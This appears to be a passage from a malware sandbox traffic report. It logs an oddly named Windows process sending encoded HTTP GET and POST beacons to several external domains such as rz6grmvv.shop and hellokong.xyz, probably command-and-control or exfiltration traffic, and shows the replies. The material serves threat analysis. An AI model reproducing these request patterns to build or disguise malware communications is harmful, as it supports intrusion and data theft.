Jul 3, 2024 17:57:24.370857000 CEST	1236	IN	Data Raw: 0d 5a 83 73 92 42 c4 d9 e8 9c 09 71 4e da d5 be 49 80 45 68 b4 6d d7 24 9d 56 c2 0c 5d cf da 4c ba 7b 91 de 5e a4 bf 17 19 ec 45 2e 76 22 f3 8c 45 8e 80 df 69 75 07 90 92 6e ab 77 89 ef c7 05 05 0b 0f 0b df 51 01 63 fb 6b 31 c1 17 a3 29 2a ee 58 Data Ascii: ZsBqNIEhm$V]L{^E.v"EiunwQck1)X)n;*>q< -PPPyVY;W^;iqCdXi ]i}r~>,#S'@C%(,euJPKZ
Jul 3, 2024 17:57:24.370871067 CEST	1236	IN	Data Raw: 81 d2 11 e8 c2 c0 15 4b 5e dc 6a 1e 27 55 d7 1b 3b f2 ca 43 ac 71 08 6f 98 32 1d 73 e9 3e 2a bd 93 b1 28 e2 32 2e ba 56 5e 14 0d b7 6e f6 40 1e fd 69 02 1a ea 07 a5 29 25 7e 52 fb c6 42 02 bf 93 3d 10 a3 04 8f c8 a7 d7 7d f7 8b d3 3f 50 c3 3f 22 Data Ascii: K^j'U;Cqo2s>*(2.V^n@i)%~RB=}?P?"!!F~fX/2Xs'G3cfr+\|1\-&x,C{58TI1{X(fmLM&<$Y=D1g4RBzw'Xb&`
Jul 3, 2024 17:57:24.371217012 CEST	672	IN	Data Raw: 86 a2 b1 67 68 b1 38 b1 34 d6 6c 46 d7 1e 2e a7 9d ef 06 fc 4f 01 60 0f c1 ed ea 64 80 5e c7 fd 1e 63 51 56 9e d4 6f 2b b5 02 99 4f 78 84 99 00 92 86 33 86 0e 53 8b 58 71 0a 44 0e 0e 27 e2 85 f6 2b aa 1b ac 7d c1 25 30 bd ca aa a3 07 23 88 9b e8 Data Ascii: gh84lF.O`d^cQVo+Ox3SXqD'+}%0#f,@$/vx5?eA'V}trLKUE[&"X134?d-\|fUCXb(fn}6P&azjQ8Oy$}{^e^]({!f
Jul 3, 2024 17:57:24.371228933 CEST	1236	IN	Data Raw: 96 93 37 16 3b 46 83 ce 04 f8 28 2f 8f b6 2a 7e 2d 2e be 18 2d d2 b0 5d 59 f8 fb aa d2 85 4e ac 2e fc bb 5b 5f 06 4f 44 08 94 b5 2a dd 85 58 44 4f c4 70 d2 ef 22 14 b1 13 eb 0b a9 7f 7f 89 72 3b 95 cf 56 6e a7 fe 25 ca ed 40 bc 40 b9 1d 84 a3 ca Data Ascii: 7;F(/~-.-]YN.[_ODXDOp"r;Vn%@@45/F@ta){(!_?{\ykhSc.}x2r%g9E)t<5[L!PHdDk%{\|<iRoy,TD\.*hahilJ
Jul 3, 2024 17:57:24.371233940 CEST	1236	IN	Data Raw: 2d d3 20 44 93 fc 35 c8 a5 cd 9b 44 2b b4 a1 6a 12 59 3c 99 e6 4c 9c 3a e7 92 7d 49 fc 07 35 65 92 fc 24 22 f2 de ce 04 f6 fd ca 0d 42 fe 85 69 96 2a 19 e1 28 cc dc 83 9e 70 e1 2e 7f e1 29 18 f2 af 30 25 7f 51 29 93 4d f2 ad 56 1c 4b 1d d6 e2 b6 Data Ascii: - D5D+jY<L:}I5e$"Bi*(p.)0%Q)MVKI\PZ)%&N?@9LB\'t.\kLw-r/rEH`y@:{d-;U)\35=Td(]kjvV\B
Jul 3, 2024 17:57:24.371239901 CEST	1236	IN	Data Raw: 88 33 38 b9 75 0a 11 cf 8b 9a 8b 93 6b 4c ca 84 c0 92 7d a7 34 89 8b 05 42 85 f7 8b c8 dd 1d ea 79 3f 0f 58 78 1f 6b 85 9e a3 a7 db 22 50 1a 2d 4a 35 2e 3c 37 3e 69 f5 7a 38 de 32 fa 6c 98 29 8f 6c e2 13 6f f8 54 65 c0 0c ec 78 92 cb 04 34 b7 c3 Data Ascii: 38ukL}4By?Xxk"P-J5.<7>iz82l)loTex4gTFL`Tv'c39C72NR, TY#j~&-}:iU5X98Gq_n{YcLI7{XS]U~p/e2gM:,"cWA
Jul 3, 2024 17:57:24.371244907 CEST	104	IN	Data Raw: b1 1e 1d ef 6d 9a 74 bc a3 5d 3a 6f d4 a5 73 b4 4b f7 8d ba 74 2b ba 98 94 09 41 c7 0a ef 0d ff 08 f3 d5 57 15 e8 ea 92 96 75 15 78 29 44 3c 4f 5f 00 58 16 56 20 0a a6 63 78 01 60 51 57 81 f7 f0 62 c4 87 c3 98 af 00 3d 8c 1a a8 68 56 a6 8e 59 ca Data Ascii: mt]:osKt+AWux)D<O_XV cx`QWb=hVYl}EqfvQ_
Jul 3, 2024 17:57:24.375823975 CEST	1236	IN	Data Raw: e5 a4 99 b1 90 52 c3 24 7e 83 e6 e3 17 f7 d8 43 3a d2 ed 4d 1a ed f7 38 6b 61 51 20 54 78 4f 25 9b f0 98 59 ae 64 89 3d 05 1e 27 d6 27 03 cf 3b 90 47 98 3f 4d 40 43 dd 97 ca d6 5d 06 08 48 01 6b 83 dc 5a 25 1b 8d 79 a8 84 d2 3e e1 12 f3 b8 1d 5a Data Ascii: R$~C:M8kaQ TxO%Yd='';G?M@C]HkZ%y>Zx4P'RIx1h.# `:LnNDs",'eK!W.qA)qe<Pz=vnZ;'Z\Kk+zr+YT4fuuu9dE$zg2%C]4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49740	192.185.208.8	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:26.290399075 CEST	350	OUT	GET /2769/?OdjTHtuX=rQ9MRvShllEvhf19NmQGPjdBfvwxqGfh/iQ/JyzvIKd3JVnhiEf6Ad8S1fm4YmYs4WBXtXN2+GWeVsdjOCq4N3yCg9FNbaHUg89/agQhGCosY8uNQEp6VxplmSeNniynJ3fH1F8=&Y6vp=3PLd8j HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.epicbazaarhub.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:57:26.862763882 CEST	510	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 03 Jul 2024 15:57:26 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://epicbazaarhub.com/2769/?OdjTHtuX=rQ9MRvShllEvhf19NmQGPjdBfvwxqGfh/iQ/JyzvIKd3JVnhiEf6Ad8S1fm4YmYs4WBXtXN2+GWeVsdjOCq4N3yCg9FNbaHUg89/agQhGCosY8uNQEp6VxplmSeNniynJ3fH1F8=&Y6vp=3PLd8j Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49741	121.254.178.230	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:32.613265038 CEST	605	OUT	POST /wvam/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.rz6grmvv.shop Origin: http://www.rz6grmvv.shop Referer: http://www.rz6grmvv.shop/wvam/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 6b 72 6c 59 4a 55 71 64 59 53 39 4b 30 33 33 55 6b 49 6b 4c 74 6f 66 78 70 63 74 64 6e 34 6f 41 76 32 73 31 63 76 54 4b 2f 38 61 64 77 66 39 37 55 6d 51 33 67 51 42 70 61 7a 68 59 6e 32 6d 41 6f 6b 74 67 6a 47 54 56 39 55 63 43 4b 31 4f 52 61 55 41 37 44 65 42 34 66 46 6b 4e 37 39 76 30 36 74 47 6a 45 44 54 66 79 4b 4e 69 74 70 32 56 52 73 7a 36 32 36 39 43 2f 62 62 62 46 43 72 73 55 4a 6a 63 45 6b 56 38 50 61 43 61 49 36 68 67 4a 6a 72 6b 54 33 4f 45 62 30 6c 31 6b 68 4a 78 42 66 7a 49 74 4f 4f 48 43 58 51 6b 52 33 41 6e 51 45 73 79 2f 6e 67 6a 67 73 71 6f 6d 76 41 45 38 4e 33 50 56 49 32 4c 38 49 50 35 Data Ascii: OdjTHtuX=krlYJUqdYS9K033UkIkLtofxpctdn4oAv2s1cvTK/8adwf97UmQ3gQBpazhYn2mAoktgjGTV9UcCK1ORaUA7DeB4fFkN79v06tGjEDTfyKNitp2VRsz6269C/bbbFCrsUJjcEkV8PaCaI6hgJjrkT3OEb0l1khJxBfzItOOHCXQkR3AnQEsy/ngjgsqomvAE8N3PVI2L8IP5
Jul 3, 2024 17:57:33.529656887 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:32 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 76 61 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wvam/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49742	121.254.178.230	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:35.154019117 CEST	629	OUT	POST /wvam/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.rz6grmvv.shop Origin: http://www.rz6grmvv.shop Referer: http://www.rz6grmvv.shop/wvam/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 6b 72 6c 59 4a 55 71 64 59 53 39 4b 32 55 76 55 6f 4c 63 4c 68 59 66 77 73 63 74 64 31 34 6f 63 76 32 67 31 63 72 4c 61 2f 4f 75 64 77 2b 4e 37 54 58 51 33 31 51 42 70 52 54 67 53 34 47 6d 50 6f 6b 78 47 6a 45 33 56 39 55 67 43 4b 33 47 52 62 6a 55 38 42 4f 42 36 51 6c 6b 4c 31 64 76 30 36 74 47 6a 45 48 37 35 79 4a 39 69 73 61 65 56 54 4a 48 35 70 4b 39 64 34 62 62 62 42 43 72 6f 55 4a 6a 45 45 67 55 70 50 5a 36 61 49 37 52 67 4a 77 7a 6a 64 33 4f 47 46 30 6b 31 67 56 51 76 59 65 4b 30 69 4d 61 78 66 33 63 6b 64 68 42 39 4d 33 73 52 74 33 41 68 67 75 79 61 6d 50 41 75 2b 4e 50 50 48 66 36 73 7a 38 71 61 64 6f 44 75 45 4c 2f 63 37 5a 2f 67 44 6e 33 4d 75 75 6e 31 32 77 3d 3d Data Ascii: OdjTHtuX=krlYJUqdYS9K2UvUoLcLhYfwsctd14ocv2g1crLa/Oudw+N7TXQ31QBpRTgS4GmPokxGjE3V9UgCK3GRbjU8BOB6QlkL1dv06tGjEH75yJ9isaeVTJH5pK9d4bbbBCroUJjEEgUpPZ6aI7RgJwzjd3OGF0k1gVQvYeK0iMaxf3ckdhB9M3sRt3AhguyamPAu+NPPHf6sz8qadoDuEL/c7Z/gDn3Muun12w==
Jul 3, 2024 17:57:36.117645025 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:35 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 76 61 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wvam/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49743	121.254.178.230	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:37.679713011 CEST	1642	OUT	POST /wvam/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.rz6grmvv.shop Origin: http://www.rz6grmvv.shop Referer: http://www.rz6grmvv.shop/wvam/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 6b 72 6c 59 4a 55 71 64 59 53 39 4b 32 55 76 55 6f 4c 63 4c 68 59 66 77 73 63 74 64 31 34 6f 63 76 32 67 31 63 72 4c 61 2f 4f 57 64 77 4d 46 37 55 45 6f 33 6e 67 42 70 65 44 67 54 34 47 6d 6f 6f 6b 70 43 6a 45 37 76 39 52 6b 43 4c 56 2b 52 53 79 55 38 4c 4f 42 36 62 46 6b 4f 37 39 75 75 36 74 32 6e 45 44 66 35 79 4a 39 69 73 66 61 56 58 63 7a 35 72 4b 39 43 2f 62 62 58 46 43 71 33 55 4a 72 55 45 67 41 35 50 6f 61 61 49 62 42 67 49 43 72 6a 56 33 4f 2b 41 30 6b 62 67 51 49 4f 59 66 6e 4e 69 4e 66 71 66 77 55 6b 65 67 73 63 55 47 6f 65 32 55 45 68 2f 65 69 73 75 4c 64 63 37 38 6a 74 4d 4d 32 76 2b 34 79 42 65 66 6e 75 45 72 43 64 37 2f 43 49 46 51 32 79 71 66 61 79 79 72 6d 36 71 32 63 43 76 63 69 4e 6a 44 44 56 68 5a 33 43 46 67 37 55 72 58 45 70 36 69 66 35 5a 48 6f 41 36 4b 70 69 73 6e 72 53 4d 50 49 6d 35 50 6e 72 55 79 30 68 36 44 67 36 34 62 74 5a 58 37 62 58 6c 6f 2b 5a 6c 5a 66 49 58 4b 59 46 2f 4a 31 55 75 47 71 41 2b 46 54 4a 57 69 66 39 49 2f 4a 63 6e 41 32 4e 62 [TRUNCATED] Data Ascii: OdjTHtuX=krlYJUqdYS9K2UvUoLcLhYfwsctd14ocv2g1crLa/OWdwMF7UEo3ngBpeDgT4GmookpCjE7v9RkCLV+RSyU8LOB6bFkO79uu6t2nEDf5yJ9isfaVXcz5rK9C/bbXFCq3UJrUEgA5PoaaIbBgICrjV3O+A0kbgQIOYfnNiNfqfwUkegscUGoe2UEh/eisuLdc78jtMM2v+4yBefnuErCd7/CIFQ2yqfayyrm6q2cCvciNjDDVhZ3CFg7UrXEp6if5ZHoA6KpisnrSMPIm5PnrUy0h6Dg64btZX7bXlo+ZlZfIXKYF/J1UuGqA+FTJWif9I/JcnA2NbPz4Bv+Aa/kTZvw6Um6crSKvUux1/ytkdiGNM8T/7xjHrYpZYD9IwglmOr7upSnYEDuzj+dq3lim0EywskNwNM802vttFoYjZGPhPRMyBbbZcEi2gvHjvRo7RlcKvAeKC7/JlTUDdPO5SGRCGhf7vcF7QhQPQL/7T7/ffv2Z28OIEAvBL6Lk4gks/yo+p5tPD65IyYb9WhcfRpXjq8AKFTWWpc2k49FBwvAXtGSn05N9OR5LPg7Zdp/NqiXvYW355menURAk51T6UJzmiVSaDUYLnYQSmD1Pw5q9bSqydFpoW+hdJw9YGqOs49wAoJwchD3UJEiS4azbaaVvJfiAxiBakWetiQi5r+eylJe3YV8fDVtL7YzlmEGOInKQDAGdFoc1JXwe5rA6LuM6/81MZAPc3sg+rm2QLQrf8IMPJ3l6RKTUTcTIeMyCOeaigWwVkO8exoOz8rFTI6t7GEiMNGYeKwjG7DJ2wEwK8vNfsEt/RWLeUMCunX/TnAECLUBLtZi2+gitoVIeleRDVnXSPggHpqCa2dlSlRY1N5z2yujUN9/CkQkSPh/wsjdFheVmoItpA7WQOHJ4nXuheohSBwPIqMa4tR9g8QeUQL8Cd3mD8Z6PsU+s3uof4trSupX9Oz+PHmfH920Q6GjjZ7WBYVydWBqAzbXt8+x [TRUNCATED]
Jul 3, 2024 17:57:39.011392117 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:37 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 76 61 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wvam/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49744	121.254.178.230	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:40.212461948 CEST	346	OUT	GET /wvam/?Y6vp=3PLd8j&OdjTHtuX=ppN4Kg7gaCRo+jf4iLEmna60kcJd+oo7/wZIRMT4+Man5OlGV28GmQNPMVld/mi8klF/kBnYjgc4RUC2chY7WuIAYm4xk+Ll6sKGI2rWgbxJmoqgO5rVx7RJwqzCMQvvfrLjQU4= HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.rz6grmvv.shop User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:57:41.145848989 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:40 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 77 76 61 6d 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /wvam/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49745	203.161.49.220	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:46.199600935 CEST	605	OUT	POST /oui5/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.hellokong.xyz Origin: http://www.hellokong.xyz Referer: http://www.hellokong.xyz/oui5/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 66 44 7a 73 4b 2f 58 4a 79 61 32 75 52 63 35 4d 6e 6d 63 6d 74 51 38 46 63 64 6e 7a 32 4f 75 62 6d 79 57 35 31 35 42 77 6f 65 41 51 6c 69 38 41 4d 61 74 31 39 4f 67 4d 76 72 4d 38 37 53 4b 62 65 55 64 6e 45 50 4e 73 2b 59 52 41 32 4e 65 53 70 43 52 57 55 58 55 41 42 53 69 6b 4b 5a 53 44 54 35 35 2b 4c 43 69 35 4c 77 6d 75 36 45 6b 49 4c 4f 7a 57 6d 79 4e 38 69 72 5a 53 73 6f 50 76 55 78 49 61 6d 33 61 50 42 7a 75 6a 55 58 6b 55 63 71 37 72 31 42 2b 78 54 61 6d 79 6e 56 38 73 48 6a 71 6d 6a 6a 6c 46 48 49 54 36 6f 51 4b 78 70 59 72 41 4e 4d 57 73 74 68 43 78 56 35 43 51 78 76 4b 4c 45 30 4a 70 33 7a 52 31 Data Ascii: OdjTHtuX=fDzsK/XJya2uRc5MnmcmtQ8Fcdnz2OubmyW515BwoeAQli8AMat19OgMvrM87SKbeUdnEPNs+YRA2NeSpCRWUXUABSikKZSDT55+LCi5Lwmu6EkILOzWmyN8irZSsoPvUxIam3aPBzujUXkUcq7r1B+xTamynV8sHjqmjjlFHIT6oQKxpYrANMWsthCxV5CQxvKLE0Jp3zR1
Jul 3, 2024 17:57:46.784719944 CEST	533	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:57:46 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49746	203.161.49.220	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:57:48.736191034 CEST	629	OUT	POST /oui5/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.hellokong.xyz Origin: http://www.hellokong.xyz Referer: http://www.hellokong.xyz/oui5/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 66 44 7a 73 4b 2f 58 4a 79 61 32 75 51 38 4a 4d 67 47 67 6d 6c 51 39 33 41 4e 6e 7a 39 75 75 58 6d 79 4b 35 31 34 46 61 6f 71 73 51 69 41 6b 41 65 50 52 31 38 4f 67 4d 6c 4c 4d 6c 2f 53 4b 71 65 55 52 46 45 4f 78 73 2b 65 39 41 32 50 47 53 70 55 5a 56 57 48 55 43 4f 79 69 6d 48 35 53 44 54 35 35 2b 4c 44 54 6b 4c 7a 57 75 37 33 4d 49 5a 72 50 52 6f 53 4e 2f 30 37 5a 53 6f 6f 50 72 55 78 4a 50 6d 31 2b 70 42 32 69 6a 55 57 55 55 64 2f 48 6f 2f 42 2f 34 4f 71 6e 62 30 51 5a 62 65 79 37 38 38 31 77 6f 66 4a 61 51 74 6d 4c 72 31 72 72 6a 66 63 32 75 74 6a 61 44 56 5a 43 36 7a 76 79 4c 57 6a 46 4f 34 48 30 57 53 44 45 41 70 72 79 63 73 75 52 62 73 47 67 33 52 34 6a 69 61 67 3d 3d Data Ascii: OdjTHtuX=fDzsK/XJya2uQ8JMgGgmlQ93ANnz9uuXmyK514FaoqsQiAkAePR18OgMlLMl/SKqeURFEOxs+e9A2PGSpUZVWHUCOyimH5SDT55+LDTkLzWu73MIZrPRoSN/07ZSooPrUxJPm1+pB2ijUWUUd/Ho/B/4Oqnb0QZbey7881wofJaQtmLr1rrjfc2utjaDVZC6zvyLWjFO4H0WSDEAprycsuRbsGg3R4jiag==
